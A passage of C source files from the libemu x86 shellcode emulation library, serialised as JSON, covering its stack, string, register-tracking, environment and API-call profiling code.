white)\n\t\t\t\tcontinue;\n\n\t\t\tee->destination->color = grey;\n\t\t\temu_queue_enqueue(eq, ee->destination);\n\n\t\t}\n\n\t\tif ( emu_edges_length(ev->edges) == 0 )\n\t\t\tev->color = yellow;\n\t\telse\n\t\t\tev->color = black;\n\n\t}\n\n\temu_queue_free(eq);\n\n\tit->color = red;\n}\n\n"
  },
  {
    "path": "src/emu_stack.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2008  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n\n#include <stdlib.h>\n#include <stdbool.h>\n#include <string.h>\n\n#include \"emu/emu_stack.h\"\n\nstruct emu_stack *emu_stack_new(void)\n{\n\tstruct emu_stack *es = malloc(sizeof(struct emu_stack));\n\tmemset(es, 0, sizeof(struct emu_stack));\n\treturn es;\n}\n\nvoid emu_stack_free(struct emu_stack *es)\n{\n\tfree(es);\n}\n\nvoid *emu_stack_front(struct emu_stack *es)\n{\n\treturn es->front->data;\n}\n\nvoid  emu_stack_push(struct emu_stack *es, void *data)\n{\n\tstruct emu_stack_item *item = malloc(sizeof(struct emu_stack_item));\n\tmemset(item, 0, sizeof(struct emu_stack_item));\n\titem->data = data;\n\titem->next = es->front;\n\tes->front = item;\n}\n\nvoid *emu_stack_pop(struct emu_stack *es)\n{\n\tif (emu_stack_empty(es) == true)\n\t\treturn NULL;\n\n\tstruct emu_stack_item *item = es->front;\n\tvoid *data = es->front->data;\n\tes->front = es->front->next;\n\tfree(item);\n\treturn data;\n}\n\nbool  emu_stack_empty(struct emu_stack *es)\n{\n\tif (es->front == NULL)\n\t\treturn true;\n\treturn false;\n}\n\n"
  },
  {
    "path": "src/emu_string.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n\n#include <string.h>\n#include <stdlib.h>\n#include <stdarg.h>\n\n\n#include \"emu/emu_string.h\"\n\n\nstruct emu_string *emu_string_new(void)\n{\n    struct emu_string *s = (struct emu_string *)malloc(sizeof(struct emu_string));\n    if( s == NULL )\n    {\n    \treturn NULL;\n    }\n    memset(s, 0, sizeof(struct emu_string));\n    return s;\n}\n\nvoid emu_string_free(struct emu_string *s)\n{\n    free(s->data);\n    free(s);\n}\n\nchar *emu_string_char(struct emu_string *s)\n{\n    return (char *)s->data;\n}\n\n\n#include <stdio.h>\nvoid emu_string_append_char(struct emu_string *s, const char *data)\n{\n//\tprintf(\"before %i %i|%s|\\n\", s->size, strlen(data), (char *)s->data);\n\ts->data = realloc(s->data, s->size + strlen(data) + 1);\n\tmemcpy((unsigned char *)s->data + s->size, data, strlen(data));\n\t*(unsigned char *)(s->data + s->size + strlen(data)) = 0;\n\ts->size += strlen(data);\n//\tprintf(\"after %i |%s|\\n\", s->size, (char *)s->data);\n}\n\nvoid emu_string_append_format(struct emu_string *s, const char *format, ...)\n{\n\tva_list         ap;\n\tchar            *message;\n\n\tva_start(ap, format);\n\tint va = vasprintf(&message, format, ap);\n\tva_end(ap);\n\n\tif (va == -1)\n\t\texit(-1);\n\n\temu_string_append_char(s, message);\n\tfree(message);\n}\n"
  },
  {
    "path": "src/emu_track.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n\n#include <string.h>\n\n#include \"emu/emu.h\"\n#include \"emu/emu_cpu.h\"\n#include \"emu/emu_cpu_data.h\"\n#include \"emu/emu_instruction.h\"\n#include \"emu/emu_track.h\"\n#include \"emu/emu_source.h\"\n#include \"emu/emu_hashtable.h\"\n#include \"emu/emu_graph.h\"\n\nstruct emu_track_and_source *emu_track_and_source_new(void)\n{\n\tstruct emu_track_and_source *et = (struct emu_track_and_source *)malloc(sizeof(struct emu_track_and_source));\n\tmemset(et, 0, sizeof(struct emu_track_and_source));\n\tet->track.reg[esp] = 0xffffffff;\n\treturn et;\n}\n\nvoid emu_track_and_source_free(struct emu_track_and_source *et)\n{\n\tif (et->static_instr_table != NULL)\n\t\temu_hashtable_free(et->static_instr_table);\n\n\tif (et->static_instr_graph != NULL)\n\t\temu_graph_free(et->static_instr_graph);\n\n\tif (et->run_instr_table != NULL)\n\t\temu_hashtable_free(et->run_instr_table);\n\n\tif (et->run_instr_graph != NULL)\n\t\temu_graph_free(et->run_instr_graph);\n\n\tfree(et);\n\n}\n\n\nvoid debug_instruction(struct emu_instruction *i);\n\n\n#include \"emu/emu_cpu_functions.h\"\n\nint32_t emu_track_instruction_check(struct emu *e, struct emu_track_and_source *et)\n{\n\tstruct emu_cpu *c = emu_cpu_get(e);\n\tint i;\n\n\tif (c->instr.is_fpu)\n\t{\n\t\tif (c->instr.track.need.fpu  > et->track.fpu )\n\t\t\treturn -1;\n\n\t\tet->track.fpu |= c->instr.track.init.fpu;\n\n\t}else\n\t{\n//\t\tdebug_instruction(&c->instr);\n/*\n\t\tif (c->cpu_instr_info->function == instr_xchg_9x)\n\t\t{\n\t\t\tuint32_t reg1 = et->reg[eax];\n\t\t\tet->reg[eax] = et->reg[c->instr.cpu.opc & 7];\n\t\t\tet->reg[c->instr.cpu.opc & 7] = reg1;\n\t\t}\n*/\n\t\tfor (i=0;i<8;i++)\n\t\t{\n\t\t\tif (i == esp)\n\t\t\t\tcontinue;\n\n//\t\t\tprintf(\"0x%08x 0x%08x\\n\", c->instr.track.need.reg[i], et->track.reg[i]);\n\t\t\tif (c->instr.track.need.reg[i] > et->track.reg[i])\n\t\t\t\treturn -1;\n\t\t}\n\n\t\tfor (i=0;i<8;i++)\n\t\t{\n//\t\t\tprintf(\"0x%1x 0x%1x\\n\", (c->instr.track.need.eflags & 1 << i), (et->track.eflags & 1 << i));\n\t\t\tif ( (c->instr.track.need.eflags & 1 << i) > (et->track.eflags & 1 << i))\n\t\t\t\treturn -1;\n\t\t}\n\n\t\tfor (i=0;i<8;i++)\n\t\t{\n//\t\t\tprintf(\"reg %i before %08x after %08x\\n\", i, et->track.reg[i], c->instr.track.init.reg[i]);\n\t\t\tet->track.reg[i] |= c->instr.track.init.reg[i];\n\t\t}\n\n\t\tet->track.eflags |= c->instr.track.init.eflags;\n\n\t}\n\n\n\treturn 0;\n}\n\n\nstruct emu_source_and_track_instr_info *emu_source_and_track_instr_info_new(struct emu_cpu *cpu, uint32_t eip_before_instruction)\n{\n\tstruct emu_source_and_track_instr_info *etii = (struct emu_source_and_track_instr_info *)malloc(sizeof(struct emu_source_and_track_instr_info));\n\tif( etii == NULL )\n\t{\n\t\treturn NULL;\n\t}\n\tmemset(etii, 0, sizeof(struct emu_source_and_track_instr_info));\n\n\tetii->eip = eip_before_instruction;\n\tif( CPU_DEBUG_FLAG_ISSET(cpu, instruction_string ) || CPU_DEBUG_FLAG_ISSET(cpu, instruction_size ) )\n\t\tetii->instrstring = strdup(cpu->instr_string);\n\telse\n\t\tetii->instrstring = NULL;\n\n\tif ( cpu->instr.is_fpu )\n\t{\n\t\tetii->source.norm_pos \t\t= cpu->instr.source.norm_pos;\n\t\tetii->track.init.fpu \t\t= cpu->instr.track.init.fpu;\n\t}else\n\t{\n\t\tetii->source.has_cond_pos \t= cpu->instr.source.has_cond_pos;\n\t\tetii->source.cond_pos \t\t= cpu->instr.source.cond_pos;\n\t\tetii->source.norm_pos \t\t= cpu->instr.source.norm_pos;\n\n\t\tetii->track.init.eflags \t= cpu->instr.track.init.eflags;\n\t\tmemcpy(etii->track.init.reg, cpu->instr.track.init.reg, sizeof(uint32_t)*8);\n\n\t\tetii->track.need.eflags \t= cpu->instr.track.need.eflags;\n\t\tmemcpy(etii->track.need.reg, cpu->instr.track.need.reg, sizeof(uint32_t)*8);\n\t}\n\treturn etii;\n}\n\nvoid emu_source_and_track_instr_info_free(struct emu_source_and_track_instr_info *etii)\n{\n\tif (etii->instrstring != NULL)\n\t\tfree(etii->instrstring);\n\n\tfree(etii);\n}\n\nvoid emu_source_and_track_instr_info_free_void(void *x)\n{\n\temu_source_and_track_instr_info_free((struct emu_source_and_track_instr_info *)x);\n}\n\nvoid emu_tracking_info_diff(struct emu_tracking_info *a, struct emu_tracking_info *b, struct emu_tracking_info *result)\n{\n\tint i;\n\tfor (i=0;i<8;i++)\n\t{\n\t\tresult->reg[i] = a->reg[i] & ~b->reg[i];\n\t}\n\tresult->eflags = a->eflags & ~b->eflags;\n\tresult->fpu = a->fpu & ~b->fpu;\n}\n\nstruct emu_tracking_info *emu_tracking_info_new(void)\n{\n\tstruct emu_tracking_info *eti = malloc(sizeof(struct emu_tracking_info));\n\tmemset(eti, 0, sizeof(struct emu_tracking_info));\n\teti->reg[esp] = 0xffffffff;\n\treturn eti;\n}\n\nvoid emu_tracking_info_free(struct emu_tracking_info *eti)\n{\n\tfree(eti);\n}\n\nvoid emu_tracking_info_clear(struct emu_tracking_info *eti)\n{\n\tmemset(eti, 0, sizeof(struct emu_tracking_info));\n\teti->reg[esp] = 0xffffffff;\n}\n\nvoid emu_tracking_info_copy(struct emu_tracking_info *from, struct emu_tracking_info *to)\n{\n\tmemcpy(to, from, sizeof(struct emu_tracking_info));\n}\n\nbool emu_tracking_info_covers(struct emu_tracking_info *a, struct emu_tracking_info *b)\n{\n\tint i;\n\tfor (i=0;i<8;i++)\n\t{\n\t\tif (i == esp)\n\t\t\tcontinue;\n\n\t\tif (b->reg[i] > a->reg[i])\n\t\t\treturn false;\n\t}\n\n\tfor (i=0;i<8;i++)\n\t{\n\t\tif ( (b->eflags & 1 << i) > (a->eflags & 1 << i))\n\t\t\treturn false;\n\t}\n\n\tif ( b->fpu > a->fpu )\n\t\treturn false;\n\n\n\treturn true;\n}\n\n\n\nvoid emu_tracking_info_debug_print(struct emu_tracking_info *a)\n{\n\treturn;\n\n\tstatic const char *regm32[] = {\n\t\t\"eax\", \"ecx\", \"edx\", \"ebx\", \"esp\", \"ebp\", \"esi\", \"edi\"\n\t};\n\n/*\tstatic const char *regm16[] = {\n\t\t\"ax\", \"cx\", \"dx\", \"bx\", \"sp\", \"bp\", \"si\", \"di\"\n\t};\n\n\tstatic const char *regm8[] = {\n\t\t\"al\", \"cl\", \"dl\", \"bl\", \"ah\", \"ch\", \"dh\", \"bh\"\n\t};\n*/\n\t/* 0     1     2     3      4       5       6     7 */\n\tconst char *eflagm[] = \n\t{ \n\t\t\"CF\", \"  \", \"PF\", \"  \" , \"AF\"  , \"    \", \"ZF\", \"SF\", \n\t\t\"TF\", \"IF\", \"DF\", \"OF\" , \"IOPL\", \"IOPL\", \"NT\", \"  \",\n\t\t\"RF\", \"VM\", \"AC\", \"VIF\", \"RIP\" , \"ID\"  , \"  \", \"  \",\n\t\t\"  \", \"  \", \"  \", \"   \", \"    \", \"    \", \"  \", \"  \"\n\t};\n\n\tint i;\n\n\tprintf(\"tracking_info %08x :\\n\\tregs: \", (unsigned int)(uintptr_t)a);\n\tfor ( i=0; i<7; i++ )\n\t{\n\t\tif ( a->reg[i] > 0 )\n\t\t{\n\t\t\tprintf(\"%s \", regm32[i]);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tprintf(\"    \");\n\t\t}\n\t}\n\tprintf(\"\\n\\tflags:\");\n\n\tfor ( i=0; i<8; i++ )\n\t{\n\t\tif ( (a->eflags & 1 << i) )\n\t\t{\n\t\t\tprintf(\"%.4s \", eflagm[i]);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tprintf(\"     \");\n\t\t}\n\t}\n\n\tprintf(\"\\n\\tfpu:\");\n\tif (a->fpu)\n\t{\n\t\tprintf(\"initialized\\n\");\n\t}else\n\t{\n\t\tprintf(\"\\n\");\n\t}\n\n\t\n\n}\n"
  },
  {
    "path": "src/environment/emu_env.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2008  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include \"emu/environment/emu_env.h\"\n#include \"emu/environment/emu_profile.h\"\n#include \"emu/environment/linux/emu_env_linux.h\"\n#include \"emu/environment/win32/emu_env_w32.h\"\n#include \"emu/environment/win32/emu_env_w32_dll_export.h\"\n\nstruct emu_env *emu_env_new(struct emu *e)\n{\n\tstruct emu_env *env = malloc(sizeof(struct emu_env));\n\tmemset(env, 0, sizeof(struct emu_env));\n\tenv->env.lin = emu_env_linux_new(e);\n\tenv->env.win = emu_env_w32_new(e);\n\tenv->emu = e;\n\tenv->profile = NULL;//emu_profile_new();\n\treturn env;\n\t\n}\n\nvoid emu_env_free(struct emu_env *env)\n{\n\temu_env_w32_free(env->env.win);\n\temu_env_linux_free(env->env.lin);\n\tif (env->profile != NULL)\n\t\temu_profile_free(env->profile);\n\tfree(env);\n}\n"
  },
  {
    "path": "src/environment/emu_profile.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2008  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include <string.h>\n#include <stdlib.h>\n#include <stdio.h>\n\n\n\n#include \"emu/environment/emu_profile.h\"\n\n\n\n\n/*\nstatic char *renderings[] =\n{\n\n\t\"render_none\",\n\t\"render_ptr\",\n\t\"render_int\",\n\t\"render_struct\",\n\t\"render_string\",\n\t\"render_ip\",\n\t\"render_port\",\n\t\"render_array\"\n};\n*/\ntypedef unsigned char byte;\n\nsource_list_functions(emu_profile_functions,emu_profile_function_root, emu_profile_function, link);\n\nsource_list_functions(emu_profile_arguments,emu_profile_argument_root, emu_profile_argument, link);\n\nstruct emu_profile *emu_profile_new(void)\n{\n\tstruct emu_profile *profile = malloc(sizeof(struct emu_profile));\n\tmemset(profile, 0, sizeof(struct emu_profile));\n\n\tprofile->functions = emu_profile_functions_create();\n\tprofile->argument_stack = emu_stack_new();\n\treturn profile;\n}\n\nvoid emu_profile_free(struct emu_profile *profile)\n{\n\tstruct emu_profile_function *function;\n\twhile ((function = emu_profile_functions_remove_first(profile->functions)) != NULL)\n\t{\n\t\temu_profile_function_free(function);\n\t}\t\n\temu_profile_functions_destroy(profile->functions);\n\temu_stack_free(profile->argument_stack);\n\tfree(profile);\n}\n\nvoid emu_profile_function_add(struct emu_profile *profile, char *fnname)\n{\n\tstruct emu_profile_function *function = emu_profile_function_new();\n\n\tfunction->retval = render_struct;\n\tfunction->fnname = strdup(fnname);\n\n\temu_profile_functions_insert_last(profile->functions, function);\n}\n\nvoid emu_profile_argument_add(struct emu_profile *profile, struct emu_profile_argument *argument)\n{\n\tif (profile->last_ref == NULL)\n\t{\n\t\temu_profile_argument_root *arg_root;\n\t\tif (emu_stack_empty(profile->argument_stack))\n\t\t{\n\t\t\tstruct emu_profile_function *function = emu_profile_functions_last(profile->functions);\n\t\t\targ_root = function->arguments;\n\t\t}else\n\t\t{\n\t\t\tstruct emu_profile_argument *stack_front = emu_stack_front(profile->argument_stack);\n\t\t\targ_root = stack_front->value.tstruct.arguments;\n\t\t}\n\t\temu_profile_arguments_insert_last(arg_root, argument);\n\t}else\n\t{\n\t\tprofile->last_ref->value.tptr.ptr = argument;\n\t\tprofile->last_ref = NULL;\n\t}\n}\n\n\nvoid emu_profile_argument_struct_start(struct emu_profile* profile, const char* structtype, const char* structname)\n{\n//\tprintf(\"%s %s\\n\", __PRETTY_FUNCTION__,  structname);\n\tstruct emu_profile_argument *argument = emu_profile_argument_new(render_struct, structtype, structname);\n\temu_profile_argument_add(profile, argument);\n\temu_stack_push(profile->argument_stack, argument);\n}\n\n\nvoid emu_profile_argument_struct_end(struct emu_profile *profile)\n{\n//\tprintf(\"%s %s\\n\", __PRETTY_FUNCTION__);\n\temu_stack_pop(profile->argument_stack);\n}\n\nvoid emu_profile_argument_array_start(struct emu_profile* profile, const char* arraytype, const char* arrayname)\n{\n\tstruct emu_profile_argument *argument = emu_profile_argument_new(render_array, arraytype, arrayname);\n\temu_profile_argument_add(profile, argument);\n\temu_stack_push(profile->argument_stack, argument);\n}\n\nvoid emu_profile_argument_array_end(struct emu_profile *profile)\n{\n\temu_stack_pop(profile->argument_stack);\n}\n\n\nvoid emu_profile_argument_add_none(struct emu_profile *profile)\n{\n\tstruct emu_profile_argument *argument = emu_profile_argument_new(render_none, \"\", \"\");\n\temu_profile_argument_add(profile, argument);\n}\n\nvoid emu_profile_argument_add_int(struct emu_profile *profile, char *argtype, char *argname, int32_t value)\n{\n\n    struct emu_profile_argument *argument = emu_profile_argument_new(render_int, argtype, argname);\n\targument->value.tint = value;\n\temu_profile_argument_add(profile, argument);\n}\n\nvoid emu_profile_argument_add_short(struct emu_profile *profile, char *argtype, char *argname, int16_t value)\n{\n    struct emu_profile_argument *argument = emu_profile_argument_new(render_short, argtype, argname);\n\targument->value.tshort = value;\n\temu_profile_argument_add(profile, argument);\n}\n\n\nvoid emu_profile_argument_add_string(struct emu_profile *profile, char *argtype, char *argname, char *value)\n{\n\n    struct emu_profile_argument *argument = emu_profile_argument_new(render_string, argtype, argname);\n\tif (value == NULL)\n\t\tvalue = \"\";\n\targument->value.tchar = strdup(value);\n\temu_profile_argument_add(profile, argument);\n}\n\nvoid emu_profile_argument_add_bytea(struct emu_profile *profile, char *argtype, char *argname, unsigned char *data, uint32_t size)\n{\n\n    struct emu_profile_argument *argument = emu_profile_argument_new(render_bytea, argtype, argname);\n\targument->value.bytea.data = malloc(size);\n\tmemcpy(argument->value.bytea.data, data, size);\n\targument->value.bytea.size = size;\n\temu_profile_argument_add(profile, argument);\n}\n\n\nvoid emu_profile_argument_add_ptr(struct emu_profile *profile, char *argtype,  char *argname, uint32_t value)\n{\n\tstruct emu_profile_argument *argument = emu_profile_argument_new(render_ptr, argtype, argname);\n\targument->value.tptr.addr = value;\n\temu_profile_argument_add(profile, argument);\n\tprofile->last_ref = argument;\n}\n\nvoid emu_profile_argument_add_ip(struct emu_profile *profile, char *argtype,  char *argname, uint32_t value)\n{\n\tstruct emu_profile_argument *argument = emu_profile_argument_new(render_ip, argtype, argname);\n\targument->value.tint = value;\n\temu_profile_argument_add(profile, argument);\n}\n\nvoid emu_profile_argument_add_port(struct emu_profile *profile,\tchar *argtype,  char *argname, uint32_t value)\n{\n\tstruct emu_profile_argument *argument = emu_profile_argument_new(render_port, argtype, argname);\n\targument->value.tint = value;\n\temu_profile_argument_add(profile, argument);\n}\n\nvoid emu_profile_argument_add_sockaddr_ptr(struct emu_profile *profile, const char *name, uint32_t ptr, struct sockaddr sa)\n{\n#ifdef __APPLE__\n\tsa.sa_family = sa.sa_len;\n#endif\n\n\tif ( sa.sa_family == AF_INET )\n\t{                                                                                          \n\t\tstruct sockaddr_in *si = (struct sockaddr_in *)&sa;                                    \n\t\temu_profile_argument_add_ptr(profile, \"sockaddr_in *\", (char*)name, ptr);               \n\t\temu_profile_argument_struct_start(profile, \"\", \"\");                                    \n\t\temu_profile_argument_add_short(profile, \"short\", \"sin_family\", si->sin_family);        \n\t\temu_profile_argument_add_port(profile, \"unsigned short\", \"sin_port\", si->sin_port);    \n\t\temu_profile_argument_struct_start(profile, \"in_addr\", \"sin_addr\");                     \n\t\temu_profile_argument_add_ip(profile, \"unsigned long\", \"s_addr\", si->sin_addr.s_addr);  \n\t\temu_profile_argument_struct_end(profile);                                              \n\t\temu_profile_argument_add_string(profile, \"char\", \"sin_zero\", \"       \");               \n\t\temu_profile_argument_struct_end(profile);                                              \n\n\t}\n\telse\n\t{                                                                                          \n\t\temu_profile_argument_struct_start(profile, \"sockaddr *\", \"name\");                      \n\t\temu_profile_argument_struct_end(profile);                                              \n\t}                                                                                          \n\n}\n\nstruct emu_profile_function *emu_profile_function_new(void)\n{\n\tstruct emu_profile_function *function = malloc(sizeof(struct emu_profile_function));\n\tmemset(function, 0, sizeof(struct emu_profile_function));\n\n\tfunction->arguments = emu_profile_arguments_create();\n\temu_profile_functions_init_link(function);\n\tfunction->return_value = emu_profile_argument_new(render_int, \"ERROR \", \"\");\n\tfunction->return_value->value.tint = -1;\n\treturn function;\n}\n\nvoid emu_profile_function_free(struct emu_profile_function *function)\n{\n\n\tstruct emu_profile_argument *argument;\n\twhile ((argument = emu_profile_arguments_remove_first(function->arguments)) != NULL )\n\t{\n\t\temu_profile_argument_free(argument);\n\t}\n\n\tif (function->fnname != NULL)\n\t\tfree(function->fnname);\n\n\temu_profile_arguments_destroy(function->arguments);\n\temu_profile_argument_free(function->return_value);\n\n\tfree(function);\n}\n\nvoid emu_profile_function_returnvalue_int_set(struct emu_profile *profile, const char *type, int value)\n{\n\tstruct emu_profile_function *function = emu_profile_functions_last(profile->functions);\n\tif (function->return_value->argtype != NULL)\n\t\tfree(function->return_value->argtype);\n\tfunction->return_value->argtype = strdup(type);\n\tfunction->return_value->render = render_int;\n\tfunction->return_value->value.tint = value;\n}\n\nvoid emu_profile_function_returnvalue_ptr_set(struct emu_profile *profile, const char *type, int value)\n{\n\tstruct emu_profile_function *function = emu_profile_functions_last(profile->functions);\n\tif (function->return_value->argtype != NULL)\n\t\tfree(function->return_value->argtype);\n\tfunction->return_value->argtype = strdup(type);\n\tfunction->return_value->render = render_ptr;\n\tfunction->return_value->value.tptr.addr = value;\n\tprofile->last_ref = function->return_value;\n}\n\nuint32_t measure_size(struct emu_profile_argument *argument, bool followptr)\n{\n\tuint32_t size = 0;\n\tstruct emu_profile_argument *argumentit;\n\n\tswitch(argument->render)\n\t{\n\tcase render_struct:\n\t\tfor (argumentit = emu_profile_arguments_first(argument->value.tstruct.arguments); \n\t\t\t  !emu_profile_arguments_istail(argumentit); \n\t\t\t  argumentit = emu_profile_arguments_next(argumentit))\n\t\t{\n\t\t\tsize += measure_size(argumentit,  followptr);\n\t\t}\n\t\tbreak;\n\n\tcase render_array:\n\n\t\tfor (argumentit = emu_profile_arguments_first(argument->value.tstruct.arguments); \n\t\t\t  !emu_profile_arguments_istail(argumentit); \n\t\t\t  argumentit = emu_profile_arguments_next(argumentit))\n\t\t{\n\t\t\tsize += measure_size(argumentit, followptr);\n\n\t\t}\n\t\tbreak;\n\n\tcase render_int:\n\t\tsize += 4;\n\t\tbreak;\n\n\tcase render_short:\n\t\tsize += 2;\n\t\tbreak;\n\n\tcase render_string:\n\t\tsize += strlen(argument->value.tchar) +1;\n\t\tbreak;\n\n\tcase render_bytea:\n\t\tsize += argument->value.bytea.size;\n\t\tbreak;\n\n\tcase render_ptr:\n\t\t{\n\t\t\tsize += sizeof(uintptr_t); // += 4;\n\t\t\tif (followptr)\n\t\t\t\tsize += measure_size(argument->value.tptr.ptr, followptr);\n\t\t}\n\t\tbreak;\n\n\tcase render_ip:\n\t\tsize += 4;\n\t\tbreak;\n\n\tcase render_port:\n\t\tsize += 2;\n\t\tbreak;\n\n\tcase render_none:\n\t\tsize += 4;\n\t\tbreak;\n\t}\n\n\treturn size;\n}\n\nint copy_data(struct emu_profile_argument *argument, uint8_t *addr, uint8_t **next)\n{\n//\tprintf(\"%s : %i \\n\", __PRETTY_FUNCTION__, __LINE__);\n\n\tuintptr_t *addrp = (uintptr_t *)addr;\n\tuint32_t *addr32 = (uint32_t *)addr;\n\tuint16_t *addr16 = (uint16_t *)addr;\n\n\tint size = measure_size(argument, false);\n\tint offset = 0;\n\n\tstruct emu_profile_argument *argumentit;\n\n\tif (addr == *next)\n\t{\n\t\t*next = addr + size;\n\t}\n\n\tswitch(argument->render)\n\t{\n\tcase render_struct:\n\t\tfor (argumentit = emu_profile_arguments_first(argument->value.tstruct.arguments); \n\t\t\t  !emu_profile_arguments_istail(argumentit); \n\t\t\t  argumentit = emu_profile_arguments_next(argumentit))\n\t\t{\n//\t\t\tsize += measure_size(argumentit,  false);\n\t\t\toffset += copy_data(argumentit, addr+offset, next);\n\t\t}\n\t\tbreak;\n\n\tcase render_array:\n\n\t\tfor (argumentit = emu_profile_arguments_first(argument->value.tstruct.arguments); \n\t\t\t  !emu_profile_arguments_istail(argumentit); \n\t\t\t  argumentit = emu_profile_arguments_next(argumentit))\n\t\t{\n//\t\t\tsize += measure_size(argumentit, level - 1);\n\t\t\toffset += copy_data(argumentit, addr+offset, next);\n\t\t}\n\t\tbreak;\n\n\tcase render_int:\n//\t\tsize += 4;\n\t\t*addr32 = argument->value.tint;\n\t\tbreak;\n\n\tcase render_short:\n\t\t*addr16 = argument->value.tshort;\n\t\tbreak;\n\n\tcase render_string:\n//\t\tsize += strlen(argument->value.tchar) +1;\n\t\tstrcpy((char *)addr, argument->value.tchar); \n\t\tbreak;\n\n\tcase render_bytea:\n\t\tmemcpy((char *)addr, argument->value.bytea.data, argument->value.bytea.size);\n\t\tbreak;\n\n\tcase render_ptr:\n\t\t{\n//\t\t\tsize += 4;\n//\t\t\tsize += measure_size(argument->value.tptr.ptr, false);\n\t\t\t*addrp = (uintptr_t)*next;\n\n\t\t\tcopy_data(argument->value.tptr.ptr, *next, next);\n\t\t}\n\t\tbreak;\n\n\tcase render_ip:\n//\t\tsize += 4;\n\t\t*addr32 = argument->value.tint;\n\t\tbreak;\n\n\tcase render_port:\n//\t\tsize += 2;\t\t\n\t\t*addr16 = (uint16_t)argument->value.tint;\n\n\t\tbreak;\n\n\tcase render_none:\n//\t\tsize += 4;\n\t\tbreak;\n\t}\n\n\treturn size;\n}\n\nvoid *emu_profile_function_argument_get(struct emu_profile_function *function, int argc)\n{\n\tstruct emu_profile_argument *argument;\n\n\tif ( argc == 0 )\n\t{\n\t\targument = function->return_value;\n\t}else\n\t{\n\t\tint i = 1;\n\t\targument = emu_profile_arguments_first(function->arguments);\n\t\twhile ( i < argc )\n\t\t{\n\t\t\targument = emu_profile_arguments_next(argument);\n\t\t\ti++;\n\n\t\t\tif ( emu_profile_arguments_istail(argument) )\n\t\t\t\treturn NULL;\n\t\t}\n\t}\n\t\n\tuint32_t size = 0;\n\tsize = measure_size(argument, true);\n\n//\tprintf(\"%s size is %i\\n\", argument->argname, size);\n\n\tuint8_t *data = malloc(size);\n\tuint8_t *next = data;\n\tmemset(data, 0x90, size);\n\tcopy_data(argument, data, &next);\n\n\treturn data;\n}\n\n\nstruct emu_profile_argument *emu_profile_argument_new(enum emu_profile_argument_render render, const char *type, const char *name)\n{\n\tstruct emu_profile_argument *argument = malloc(sizeof(struct emu_profile_argument));\n\tmemset(argument, 0, sizeof(struct emu_profile_argument));\n\n\temu_profile_arguments_init_link(argument);\n\tif ( render != render_none )\n\t{\n\t\targument->argname = strdup(name);\n\t\targument->argtype = strdup(type);\n\t}\n\targument->render = render;\n\n\tif (render == render_struct || render == render_array)\n\t{\n\t\targument->value.tstruct.arguments = emu_profile_arguments_create();\n\t}\n\n\treturn argument;\n}\n\nvoid emu_profile_argument_free(struct emu_profile_argument *argument)\n{\n\tif 